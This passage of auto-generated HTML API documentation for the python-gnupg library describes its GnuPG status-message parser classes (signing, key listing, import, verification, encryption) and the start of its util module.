id="gnupg._parsers.GenKey._handle_status"> -<tt class="descname">_handle_status</tt><big>(</big><em>key</em>, <em>value</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#GenKey._handle_status"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.GenKey._handle_status" title="Permalink to this definition">¶</a></dt> -<dd><p>Parse a status code from the attached GnuPG process.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Raises:</th><td class="field-body"><a class="reference external" href="http://docs.python.org/library/exceptions.html#exceptions.ValueError" title="(in Python v2.7)"><tt class="xref py py-exc docutils literal"><span class="pre">ValueError</span></tt></a> if the status message is unknown.</td> -</tr> -</tbody> -</table> -</dd></dl> - -</dd></dl> - -<dl class="class"> -<dt id="gnupg._parsers.DeleteResult"> -<em class="property">class </em><tt class="descname">DeleteResult</tt><big>(</big><em>gpg</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#DeleteResult"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.DeleteResult" title="Permalink to this definition">¶</a></dt> -<dd><p>Bases: <tt class="xref py py-class docutils literal"><span class="pre">object</span></tt></p> -<p>Handle status messages for –delete-keys and –delete-secret-keys</p> -<dl class="attribute"> -<dt id="gnupg._parsers.DeleteResult.problem_reason"> -<tt class="descname">problem_reason</tt><em class="property"> = {'1': 'No such key', '3': 'Ambigious specification', '2': 'Must delete secret key first'}</em><a class="headerlink" href="#gnupg._parsers.DeleteResult.problem_reason" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="method"> -<dt id="gnupg._parsers.DeleteResult._handle_status"> -<tt class="descname">_handle_status</tt><big>(</big><em>key</em>, <em>value</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#DeleteResult._handle_status"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.DeleteResult._handle_status" title="Permalink to this definition">¶</a></dt> -<dd><p>Parse a status code from the attached GnuPG process.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Raises:</th><td class="field-body"><a class="reference external" href="http://docs.python.org/library/exceptions.html#exceptions.ValueError" title="(in Python v2.7)"><tt class="xref py py-exc docutils literal"><span class="pre">ValueError</span></tt></a> if the status message is unknown.</td> -</tr> -</tbody> -</table> -</dd></dl> - -</dd></dl> - -<dl class="class"> -<dt id="gnupg._parsers.Sign"> -<em class="property">class </em><tt class="descname">Sign</tt><big>(</big><em>gpg</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#Sign"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.Sign" title="Permalink to this definition">¶</a></dt> -<dd><p>Bases: <tt class="xref py py-class docutils literal"><span class="pre">object</span></tt></p> -<p>Parse GnuPG status messages for signing operations.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>gpg</strong> – An instance of <a class="reference internal" href="#gnupg.GPG" title="gnupg.GPG"><tt class="xref py py-class docutils literal"><span class="pre">gnupg.GPG</span></tt></a>.</td> -</tr> -</tbody> -</table> -<dl class="attribute"> -<dt id="gnupg._parsers.Sign.sig_type"> -<tt class="descname">sig_type</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Sign.sig_type" title="Permalink to this definition">¶</a></dt> -<dd><p>The type of signature created.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Sign.sig_algo"> -<tt class="descname">sig_algo</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Sign.sig_algo" title="Permalink to this definition">¶</a></dt> -<dd><p>The algorithm used to create the signature.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Sign.sig_hash_also"> -<tt class="descname">sig_hash_also</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Sign.sig_hash_also" title="Permalink to this definition">¶</a></dt> -<dd><p>The hash algorithm used to create the signature.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Sign.fingerprint"> -<tt class="descname">fingerprint</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Sign.fingerprint" title="Permalink to this definition">¶</a></dt> -<dd><p>The fingerprint of the signing keyid.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Sign.timestamp"> -<tt class="descname">timestamp</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Sign.timestamp" title="Permalink to this definition">¶</a></dt> -<dd><p>The timestamp on the signature.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Sign.what"> -<tt class="descname">what</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Sign.what" title="Permalink to this definition">¶</a></dt> -<dd><p>xxx fill me in</p> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._parsers.Sign._handle_status"> -<tt class="descname">_handle_status</tt><big>(</big><em>key</em>, <em>value</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#Sign._handle_status"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.Sign._handle_status" title="Permalink to this definition">¶</a></dt> -<dd><p>Parse a status code from the attached GnuPG process.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Raises:</th><td class="field-body"><a class="reference external" href="http://docs.python.org/library/exceptions.html#exceptions.ValueError" title="(in Python v2.7)"><tt class="xref py py-exc docutils literal"><span class="pre">ValueError</span></tt></a> if the status message is unknown.</td> -</tr> -</tbody> -</table> -</dd></dl> - -</dd></dl> - -<dl class="class"> -<dt id="gnupg._parsers.ListKeys"> -<em class="property">class </em><tt class="descname">ListKeys</tt><big>(</big><em>gpg</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#ListKeys"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.ListKeys" title="Permalink to this definition">¶</a></dt> -<dd><p>Bases: <tt class="xref py py-class docutils literal"><span class="pre">list</span></tt></p> -<p>Handle status messages for –list-keys.</p> -<p>Handles pub and uid (relating the latter to the former). Don’t care about -the following attributes/status messages (from doc/DETAILS):</p> -<div class="line-block"> -<div class="line">crt = X.509 certificate</div> -<div class="line">crs = X.509 certificate and private key available</div> -<div class="line">ssb = secret subkey (secondary key)</div> -<div class="line">uat = user attribute (same as user id except for field 10).</div> -<div class="line">sig = signature</div> -<div class="line">rev = revocation signature</div> -<div class="line">pkd = public key data (special field format, see below)</div> -<div class="line">grp = reserved for gpgsm</div> -<div class="line">rvk = revocation key</div> -</div> -<dl class="method"> -<dt id="gnupg._parsers.ListKeys.key"> -<tt class="descname">key</tt><big>(</big><em>args</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#ListKeys.key"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.ListKeys.key" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="method"> -<dt id="gnupg._parsers.ListKeys.pub"> -<tt class="descname">pub</tt><big>(</big><em>args</em><big>)</big><a class="headerlink" href="#gnupg._parsers.ListKeys.pub" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="method"> -<dt id="gnupg._parsers.ListKeys.sec"> -<tt class="descname">sec</tt><big>(</big><em>args</em><big>)</big><a class="headerlink" href="#gnupg._parsers.ListKeys.sec" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="method"> -<dt id="gnupg._parsers.ListKeys.fpr"> -<tt class="descname">fpr</tt><big>(</big><em>args</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#ListKeys.fpr"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.ListKeys.fpr" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="method"> -<dt id="gnupg._parsers.ListKeys.uid"> -<tt class="descname">uid</tt><big>(</big><em>args</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#ListKeys.uid"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.ListKeys.uid" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="method"> -<dt id="gnupg._parsers.ListKeys.sub"> -<tt class="descname">sub</tt><big>(</big><em>args</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#ListKeys.sub"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.ListKeys.sub" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="method"> -<dt id="gnupg._parsers.ListKeys._handle_status"> -<tt class="descname">_handle_status</tt><big>(</big><em>key</em>, <em>value</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#ListKeys._handle_status"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.ListKeys._handle_status" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -</dd></dl> - -<dl class="class"> -<dt id="gnupg._parsers.ImportResult"> -<em class="property">class </em><tt class="descname">ImportResult</tt><big>(</big><em>gpg</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#ImportResult"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.ImportResult" title="Permalink to this definition">¶</a></dt> -<dd><p>Bases: <tt class="xref py py-class docutils literal"><span class="pre">object</span></tt></p> -<p>Parse GnuPG status messages for key import operations.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>gpg</strong> (<a class="reference internal" href="#gnupg.GPG" title="gnupg.GPG"><tt class="xref py py-class docutils literal"><span class="pre">gnupg.GPG</span></tt></a>) – An instance of <a class="reference internal" href="#gnupg.GPG" title="gnupg.GPG"><tt class="xref py py-class docutils literal"><span class="pre">gnupg.GPG</span></tt></a>.</td> -</tr> -</tbody> -</table> -<dl class="attribute"> -<dt id="gnupg._parsers.ImportResult._ok_reason"> -<tt class="descname">_ok_reason</tt><em class="property"> = {'17': 'Contains private key', '16': 'Contains private key', '1': 'Entirely new key', '0': 'Not actually changed', '2': 'New user IDs', '4': 'New signatures', '8': 'New subkeys'}</em><a class="headerlink" href="#gnupg._parsers.ImportResult._ok_reason" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.ImportResult._problem_reason"> -<tt class="descname">_problem_reason</tt><em class="property"> = {'1': 'Invalid Certificate', '0': 'No specific reason given', '3': 'Certificate Chain too long', '2': 'Issuer Certificate missing', '4': 'Error storing certificate'}</em><a class="headerlink" href="#gnupg._parsers.ImportResult._problem_reason" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.ImportResult._fields"> -<tt class="descname">_fields</tt><em class="property"> = ['count', 'no_user_id', 'imported', 'imported_rsa', 'unchanged', 'n_uids', 'n_subk', 'n_sigs', 'n_revoc', 'sec_read', 'sec_imported', 'sec_dups', 'not_imported']</em><a class="headerlink" href="#gnupg._parsers.ImportResult._fields" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.ImportResult._counts"> -<tt class="descname">_counts</tt><em class="property"> = OrderedDict([('count', 0), ('no_user_id', 0), ('imported', 0), ('imported_rsa', 0), ('unchanged', 0), ('n_uids', 0), ('n_subk', 0), ('n_sigs', 0), ('n_revoc', 0), ('sec_read', 0), ('sec_imported', 0), ('sec_dups', 0), ('not_imported', 0)])</em><a class="headerlink" href="#gnupg._parsers.ImportResult._counts" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.ImportResult.fingerprints"> -<tt class="descname">fingerprints</tt><em class="property"> = []</em><a class="headerlink" href="#gnupg._parsers.ImportResult.fingerprints" title="Permalink to this definition">¶</a></dt> -<dd><p>A list of strings containing the fingerprints of the GnuPG keyIDs -imported.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.ImportResult.results"> -<tt class="descname">results</tt><em class="property"> = []</em><a class="headerlink" href="#gnupg._parsers.ImportResult.results" title="Permalink to this definition">¶</a></dt> -<dd><p>A list containing dictionaries with information gathered on keys -imported.</p> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._parsers.ImportResult._handle_status"> -<tt class="descname">_handle_status</tt><big>(</big><em>key</em>, <em>value</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#ImportResult._handle_status"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.ImportResult._handle_status" title="Permalink to this definition">¶</a></dt> -<dd><p>Parse a status code from the attached GnuPG process.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Raises:</th><td class="field-body"><a class="reference external" href="http://docs.python.org/library/exceptions.html#exceptions.ValueError" title="(in Python v2.7)"><tt class="xref py py-exc docutils literal"><span class="pre">ValueError</span></tt></a> if the status message is unknown.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._parsers.ImportResult.summary"> -<tt class="descname">summary</tt><big>(</big><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#ImportResult.summary"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.ImportResult.summary" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.ImportResult.x"> -<tt class="descname">x</tt><em class="property"> = 12</em><a class="headerlink" href="#gnupg._parsers.ImportResult.x" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -</dd></dl> - -<dl class="class"> -<dt id="gnupg._parsers.Verify"> -<em class="property">class </em><tt class="descname">Verify</tt><big>(</big><em>gpg</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#Verify"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.Verify" title="Permalink to this definition">¶</a></dt> -<dd><p>Bases: <tt class="xref py py-class docutils literal"><span class="pre">object</span></tt></p> -<p>Parser for status messages from GnuPG for certifications and signature -verifications.</p> -<p>People often mix these up, or think that they are the same thing. While it -is true that certifications and signatures <em>are</em> the same cryptographic -operation – and also true that both are the same as the decryption -operation – a distinction is made for important reasons.</p> -<dl class="docutils"> -<dt>A certification:</dt> -<dd><ul class="first last simple"> -<li>is made on a key,</li> -<li>can help to validate or invalidate the key owner’s identity,</li> -<li>can assign trust levels to the key (or to uids and/or subkeys that -the key contains),</li> -<li>and can be used in absense of in-person fingerprint checking to try -to build a path (through keys whose fingerprints have been checked) -to the key, so that the identity of the key’s owner can be more -reliable without having to actually physically meet in person.</li> -</ul> -</dd> -<dt>A signature:</dt> -<dd><ul class="first last simple"> -<li>is created for a file or other piece of data,</li> -<li>can help to prove that the data hasn’t been altered,</li> -<li>and can help to prove that the data was sent by the person(s) in -possession of the private key that created the signature, and for -parsing portions of status messages from decryption operations.</li> -</ul> -</dd> -</dl> -<p>There are probably other things unique to each that have been -scatterbrainedly omitted due to the programmer sitting still and staring -at GnuPG debugging logs for too long without snacks, but that is the gist -of it.</p> -<p>Create a parser for verification and certification commands.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>gpg</strong> – An instance of <a class="reference internal" href="#gnupg.GPG" title="gnupg.GPG"><tt class="xref py py-class docutils literal"><span class="pre">gnupg.GPG</span></tt></a>.</td> -</tr> -</tbody> -</table> -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.TRUST_UNDEFINED"> -<tt class="descname">TRUST_UNDEFINED</tt><em class="property"> = 0</em><a class="headerlink" href="#gnupg._parsers.Verify.TRUST_UNDEFINED" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.TRUST_NEVER"> -<tt class="descname">TRUST_NEVER</tt><em class="property"> = 1</em><a class="headerlink" href="#gnupg._parsers.Verify.TRUST_NEVER" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.TRUST_MARGINAL"> -<tt class="descname">TRUST_MARGINAL</tt><em class="property"> = 2</em><a class="headerlink" href="#gnupg._parsers.Verify.TRUST_MARGINAL" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.TRUST_FULLY"> -<tt class="descname">TRUST_FULLY</tt><em class="property"> = 3</em><a class="headerlink" href="#gnupg._parsers.Verify.TRUST_FULLY" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.TRUST_ULTIMATE"> -<tt class="descname">TRUST_ULTIMATE</tt><em class="property"> = 4</em><a class="headerlink" href="#gnupg._parsers.Verify.TRUST_ULTIMATE" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.TRUST_LEVELS"> -<tt class="descname">TRUST_LEVELS</tt><em class="property"> = {'TRUST_UNDEFINED': 0, 'TRUST_FULLY': 3, 'TRUST_NEVER': 1, 'TRUST_MARGINAL': 2, 'TRUST_ULTIMATE': 4}</em><a class="headerlink" href="#gnupg._parsers.Verify.TRUST_LEVELS" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.valid"> -<tt class="descname">valid</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Verify.valid" title="Permalink to this definition">¶</a></dt> -<dd><p>True if the signature is valid, False otherwise.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.status"> -<tt class="descname">status</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Verify.status" title="Permalink to this definition">¶</a></dt> -<dd><p>A string describing the status of the signature verification. -Can be one of <tt class="docutils literal"><span class="pre">signature</span> <span class="pre">bad</span></tt>, <tt class="docutils literal"><span class="pre">signature</span> <span class="pre">good</span></tt>, -<tt class="docutils literal"><span class="pre">signature</span> <span class="pre">valid</span></tt>, <tt class="docutils literal"><span class="pre">signature</span> <span class="pre">error</span></tt>, <tt class="docutils literal"><span class="pre">decryption</span> <span class="pre">failed</span></tt>, -<tt class="docutils literal"><span class="pre">no</span> <span class="pre">public</span> <span class="pre">key</span></tt>, <tt class="docutils literal"><span class="pre">key</span> <span class="pre">exp</span></tt>, or <tt class="docutils literal"><span class="pre">key</span> <span class="pre">rev</span></tt>.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.fingerprint"> -<tt class="descname">fingerprint</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Verify.fingerprint" title="Permalink to this definition">¶</a></dt> -<dd><p>The fingerprint of the signing keyid.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.pubkey_fingerprint"> -<tt class="descname">pubkey_fingerprint</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Verify.pubkey_fingerprint" title="Permalink to this definition">¶</a></dt> -<dd><p>The fingerprint of the corresponding public key, which may be -different if the signature was created with a subkey.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.key_id"> -<tt class="descname">key_id</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Verify.key_id" title="Permalink to this definition">¶</a></dt> -<dd><p>The keyid of the signing key.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.signature_id"> -<tt class="descname">signature_id</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Verify.signature_id" title="Permalink to this definition">¶</a></dt> -<dd><p>The id of the signature itself.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.creation_date"> -<tt class="descname">creation_date</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Verify.creation_date" title="Permalink to this definition">¶</a></dt> -<dd><p>The creation date of the signing key.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.timestamp"> -<tt class="descname">timestamp</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Verify.timestamp" title="Permalink to this definition">¶</a></dt> -<dd><p>The timestamp of the purported signature, if we are unable to parse -and/or validate it.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.sig_timestamp"> -<tt class="descname">sig_timestamp</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Verify.sig_timestamp" title="Permalink to this definition">¶</a></dt> -<dd><p>The timestamp for when the valid signature was created.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.username"> -<tt class="descname">username</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Verify.username" title="Permalink to this definition">¶</a></dt> -<dd><p>The userid of the signing key which was used to create the -signature.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.expire_timestamp"> -<tt class="descname">expire_timestamp</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Verify.expire_timestamp" title="Permalink to this definition">¶</a></dt> -<dd><p>When the signing key is due to expire.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.trust_level"> -<tt class="descname">trust_level</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Verify.trust_level" title="Permalink to this definition">¶</a></dt> -<dd><p>An integer 0-4 describing the trust level of the signature.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Verify.trust_text"> -<tt class="descname">trust_text</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Verify.trust_text" title="Permalink to this definition">¶</a></dt> -<dd><p>The string corresponding to the <tt class="docutils literal"><span class="pre">trust_level</span></tt> number.</p> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._parsers.Verify._handle_status"> -<tt class="descname">_handle_status</tt><big>(</big><em>key</em>, <em>value</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#Verify._handle_status"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.Verify._handle_status" title="Permalink to this definition">¶</a></dt> -<dd><p>Parse a status code from the attached GnuPG process.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Raises:</th><td class="field-body"><a class="reference external" href="http://docs.python.org/library/exceptions.html#exceptions.ValueError" title="(in Python v2.7)"><tt class="xref py py-exc docutils literal"><span class="pre">ValueError</span></tt></a> if the status message is unknown.</td> -</tr> -</tbody> -</table> -</dd></dl> - -</dd></dl> - -<dl class="class"> -<dt id="gnupg._parsers.Crypt"> -<em class="property">class </em><tt class="descname">Crypt</tt><big>(</big><em>gpg</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#Crypt"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.Crypt" title="Permalink to this definition">¶</a></dt> -<dd><p>Bases: <a class="reference internal" href="#gnupg._parsers.Verify" title="gnupg._parsers.Verify"><tt class="xref py py-class docutils literal"><span class="pre">gnupg._parsers.Verify</span></tt></a></p> -<p>Parser for internal status messages from GnuPG for <tt class="docutils literal"><span class="pre">--encrypt</span></tt>, -<tt class="docutils literal"><span class="pre">--decrypt</span></tt>, and <tt class="docutils literal"><span class="pre">--decrypt-files</span></tt>.</p> -<dl class="attribute"> -<dt id="gnupg._parsers.Crypt.data"> -<tt class="descname">data</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Crypt.data" title="Permalink to this definition">¶</a></dt> -<dd><p>A string containing the encrypted or decrypted data.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Crypt.ok"> -<tt class="descname">ok</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Crypt.ok" title="Permalink to this definition">¶</a></dt> -<dd><p>True if the decryption/encryption process turned out okay.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.Crypt.status"> -<tt class="descname">status</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.Crypt.status" title="Permalink to this definition">¶</a></dt> -<dd><p>A string describing the current processing status, or error, if one -has occurred.</p> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._parsers.Crypt._handle_status"> -<tt class="descname">_handle_status</tt><big>(</big><em>key</em>, <em>value</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#Crypt._handle_status"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.Crypt._handle_status" title="Permalink to this definition">¶</a></dt> -<dd><p>Parse a status code from the attached GnuPG process.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Raises:</th><td class="field-body"><a class="reference external" href="http://docs.python.org/library/exceptions.html#exceptions.ValueError" title="(in Python v2.7)"><tt class="xref py py-exc docutils literal"><span class="pre">ValueError</span></tt></a> if the status message is unknown.</td> -</tr> -</tbody> -</table> -</dd></dl> - -</dd></dl> - -<dl class="class"> -<dt id="gnupg._parsers.ListPackets"> -<em class="property">class </em><tt class="descname">ListPackets</tt><big>(</big><em>gpg</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#ListPackets"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.ListPackets" title="Permalink to this definition">¶</a></dt> -<dd><p>Bases: <tt class="xref py py-class docutils literal"><span class="pre">object</span></tt></p> -<p>Handle status messages for –list-packets.</p> -<dl class="attribute"> -<dt id="gnupg._parsers.ListPackets.status"> -<tt class="descname">status</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.ListPackets.status" title="Permalink to this definition">¶</a></dt> -<dd><p>A string describing the current processing status, or error, if one -has occurred.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.ListPackets.need_passphrase"> -<tt class="descname">need_passphrase</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.ListPackets.need_passphrase" title="Permalink to this definition">¶</a></dt> -<dd><p>True if the passphrase to a public/private keypair is required.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.ListPackets.need_passphrase_sym"> -<tt class="descname">need_passphrase_sym</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.ListPackets.need_passphrase_sym" title="Permalink to this definition">¶</a></dt> -<dd><p>True if a passphrase for a symmetric key is required.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.ListPackets.userid_hint"> -<tt class="descname">userid_hint</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.ListPackets.userid_hint" title="Permalink to this definition">¶</a></dt> -<dd><p>The keyid and uid which this data is encrypted to.</p> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._parsers.ListPackets._handle_status"> -<tt class="descname">_handle_status</tt><big>(</big><em>key</em>, <em>value</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#ListPackets._handle_status"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.ListPackets._handle_status" title="Permalink to this definition">¶</a></dt> -<dd><p>Parse a status code from the attached GnuPG process.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Raises:</th><td class="field-body"><a class="reference external" href="http://docs.python.org/library/exceptions.html#exceptions.ValueError" title="(in Python v2.7)"><tt class="xref py py-exc docutils literal"><span class="pre">ValueError</span></tt></a> if the status message is unknown.</td> -</tr> -</tbody> -</table> -</dd></dl> - -</dd></dl> - -</div> -<div class="section" id="util-module"> -<span id="util"></span><h2>util module<a class="headerlink" href="#util-module" title="Permalink to this headline">¶</a></h2> -<p>You shouldn’t really need to mess with this module either, it mostly deals -with low-level IO and file handling operations, de-/en- coding issues, and -setting up basic package facilities such as logging.</p> -<span class="target" id="module-gnupg._util"></span><p>Extra utilities for python-gnupg.</p> -<dl class="function"> -<dt id="gnupg._util.find_encodings"> -<tt class="descname">find_encodings</tt><big>(</big><em>enc=None</em>, <em>system=False</em><big>)</big><a class="reference internal" href="_modules/gnupg/_util.html#find_encodings"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._util.find_encodings" title="Permalink to this definition">¶</a></dt> -<dd><p>Find functions for encoding translations for a specific codec.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first simple"> -<li><strong>enc</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The codec to find translation functions for. It will be -normalized by converting to lowercase, excluding -everything which is not ascii, and hyphens will be -converted to underscores.</li> -<li><strong>system</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, find encodings based on the system’s stdin -encoding, otherwise assume utf-8.</li> 